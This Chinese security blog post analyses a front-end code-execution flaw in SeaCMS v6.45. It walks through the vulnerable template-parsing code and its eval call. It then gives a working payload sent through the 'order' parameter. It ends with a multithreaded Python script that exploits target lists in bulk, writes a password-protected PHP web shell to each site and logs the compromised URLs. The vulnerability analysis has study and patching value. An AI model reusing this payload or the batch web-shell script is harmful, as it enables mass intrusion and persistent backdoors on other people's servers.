SeaCMS v6.45前台Getshell 代码执行漏洞(每日一洞)
2018-03-02

前言

昨晚审计到了三点,今天还要整理宿舍就没有写文章。这个CMS没有用框架,漏洞的执行过程我看了很久才看完,下面就写漏洞执行过程和POC构造还有用Python编写批量Getshell脚本。

环境

Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7

漏洞代码执行过程分析

先看一下这个代码是一个怎么执行的吧,我画了一个流程图,有点简陋,不过如果真的要深入了解一定要亲自去看一遍代码才行。

漏洞详情

漏洞代码执行

Payload代码

http://seacms.test/search.php
POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

执行结果

分析过程

  • 漏洞的触发点是在search.php 中的echoSearchPage()函数可以触发漏洞。常规的分析都是先找GETPOST的位置,在这个文件里面没有这些变量,原来是在./include/common.php里面。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    if(PHP_VERSION < '4.1.0') {
    $_GET = &$HTTP_GET_VARS;
    $_POST = &$HTTP_POST_VARS;
    $_COOKIE = &$HTTP_COOKIE_VARS;
    $_SERVER = &$HTTP_SERVER_VARS;
    $_ENV = &$HTTP_ENV_VARS;
    $_FILES = &$HTTP_POST_FILES;
    }
    ......
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
    }

所以Payload用GET还是POST都是可以的。

  • 由于代码太多就例举主要的代码段分析,继续回到search.php里面的echoSearchPage()函数。
    第一句是把这些变量设置为全局变量,方便下面来传值。
    第二句是判断$order是否为空,如果为空就把time赋值给$order。
    1
    2
    global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
    $order = !empty($order)?$order:time;
  • 这段是Payload的里面一个重要的参数$searchtype的代码,一定要赋值5,可以到看到等于5的时候就有$order变量,所以我们要传$order进去就赋值5,至于为什么要赋值给$order,先跟着代码执行下去自然就会明白了。
    这里还有一个点,就是第四行的$pSize这里是选择模版文件,就是为了接下来使用str_replace函数对这个模版文件的内容进行替换。
    替换内容的文件在\data\cache里面,下面是文件的位置。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    if(intval($searchtype)==5)
    {
    $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
    $typeStr = !empty($tid)?intval($tid).'_':'0_';
    $yearStr = !empty($year)?PinYin($year).'_':'0_';
    $letterStr = !empty($letter)?$letter.'_':'0_';
    $areaStr = !empty($area)?PinYin($area).'_':'0_';
    $orderStr = !empty($order)?$order.'_':'0_';
    $jqStr = !empty($jq)?$jq.'_':'0_';
    $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
    $pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
    }else
    {
    if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
    $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
    $cacheName="parse_search_";
    $pSize = getPageSizeOnCache($searchTemplatePath,"search","");
    }
    。。。。。。。中间有很多代码就不一一分析中间的了。
    $content = str_replace("{searchpage:page}",$page,$content);
    $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    $content = str_replace("{searchpage:ordername}",$order,$content);
  • 来到这里了,离构造POC又进一步了。我们只要的是看parseIf这个函数,在此之前我们可以先用echo来输出一下$content的内容,下面是对比图:


1
2
3
4
       $content=$mainClassObj->parseIf($content);
$content=str_replace("{seacms:member}",front_member(),$content);
$searchPageStr = $content;
echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
  • 下面我们继续跟进parseIf这个函数,代码我就贴执行代码漏洞的地方。代码中用到一些不懂函数可以去PHP官网或者百度Google一下。
    $labelRule*这些变量都是规则,preg_match_all函数就用到了第一个规则{if:(.*?)}(.*?){end if}
    有很多新手估计要看很久才能看得懂这段正则,我在这里稍微解释一下,{if:(.?)}(.?){end if},除了加粗部分是一定要符合{if:}{end if},中间的(.*?)是用了贪婪的模式,它把匹配到的赋值到一个数组$iar里面,大家可以输入一下这个数组:

    大家发现了吗,变量$order的值也在里面,所以我们为什么要用order这个函数写入要执行的代码了。
    来看这一句if (strpos($strThen,$labelRule2)===false){判断strpos返回是否为假就执行下面的代码,我们来输出下$strThen到底有没有这个$labelRule2变量的内容。

    可以看到是没有的,所以会执行下面的代码,if (strpos($strThen,$labelRule3)>=0){这个判断从上面输出就可以看到有这个内容,所以为真执行下面的代码。
    下面三句代码就不用看了,因为重要的是@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");里面的$strIf变量也就是数组$iar[1]数组$iar[1]里面的内容。我们继续输出一下这个数组里面的内容。

    这里可以看出eval执行的变量是$strIf,而$strIf又有$order,所以这里又再一次解释为什么要用order参数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    function parseIf($content){
    if (strpos($content,'{if:')=== false){
    return $content;
    }else{
    $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
    $labelRule2="{elseif";
    $labelRule3="{else}";
    preg_match_all($labelRule,$content,$iar);
    $arlen=count($iar[0]);
    $elseIfFlag=false;
    for($m=0;$m<$arlen;$m++){
    $strIf=$iar[1][$m];
    $strIf=$this->parseStrIf($strIf);
    $strThen=$iar[2][$m];
    $strThen=$this->parseSubIf($strThen);
    if (strpos($strThen,$labelRule2)===false){
    if (strpos($strThen,$labelRule3)>=0){
    $elsearray=explode($labelRule3,$strThen);
    $strThen1=$elsearray[0];
    $strElse1=$elsearray[1];
    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

    构造POC

    又到构造POC这一步骤了,经过上面的分析,我们可以很清晰地构造出POC了。
    {if:"{searchpage:ordername}"=="time"}替换模版文件里面内容
    {if:(.*?)}(.*?){end if}匹配规则
    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}")代码执行

我们传入的order要放在{searchpage:ordername}这里,所以我们要闭合前面的标签,}{end if}这句就可以闭合前面的标签, 为什么要闭合,因为程序的{if:}{end if}也是会解析成PHP的代码,如果不闭合就会出错不执行我们的代码。

过了这一关后,就到匹配规则了,只要符合{if:}{end if}就行了。我们要在{if:(.*?)}里面的(.*?)才会传入$strIf变量,继续看下面。

最后一关就是闭合if(".$strIf."),加入这一句1)phpinfo();if(1就OK了

代码执行的结果就是@eval("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}")

所以我们的POC就是}{end if} {if:1)phpinfo();if(1}{end if}

用Python编写批量Getshell脚本

用了多线程,可以指定单目标或者批量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
'''
author:F0rmat
'''

import sys
import requests
import threading
def exploit(target):
if sys.argv[1]== "-f":
target=target[0]
url=target+"/search.php"
payload = {"searchtype":5,"order":"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}","func":"assert","cmd":"fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"}
shell = target+'/shell.php'
try:
r=requests.post(url,data=payload)
verify = requests.get(shell, timeout=3)
if "f0rmat" in verify.content:
print 'Write success,shell url:',shell,'pass:f0rmat'
with open("success.txt","a+") as f:
f.write(shell+' pass:f0rmat'+"\n")
else:
print target,'Write failure!'
except Exception, e:
print e
def main():
if len(sys.argv)<3:
print 'python check_order.py.py -h target/-f target-file'
else:
if sys.argv[1] == "-h":
exploit(sys.argv[2])
elif sys.argv[1] == "-f":
with open(sys.argv[2], "r") as f:
b = f.readlines()
for i in xrange(len(b)):
if not b[i] == "\n":
threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
main()

结束

审计这个洞,真的累,可能就是因为太菜了吧,哈哈。

参考

源码下载地址:https://pan.lanzou.com/i0l0leb

http://blog.csdn.net/pygain/article/details/56016227

http://php.net/docs.php

https://github.com/F0r3at/Python-Tools/tree/master/seacms

http://0day5.com/archives/4249/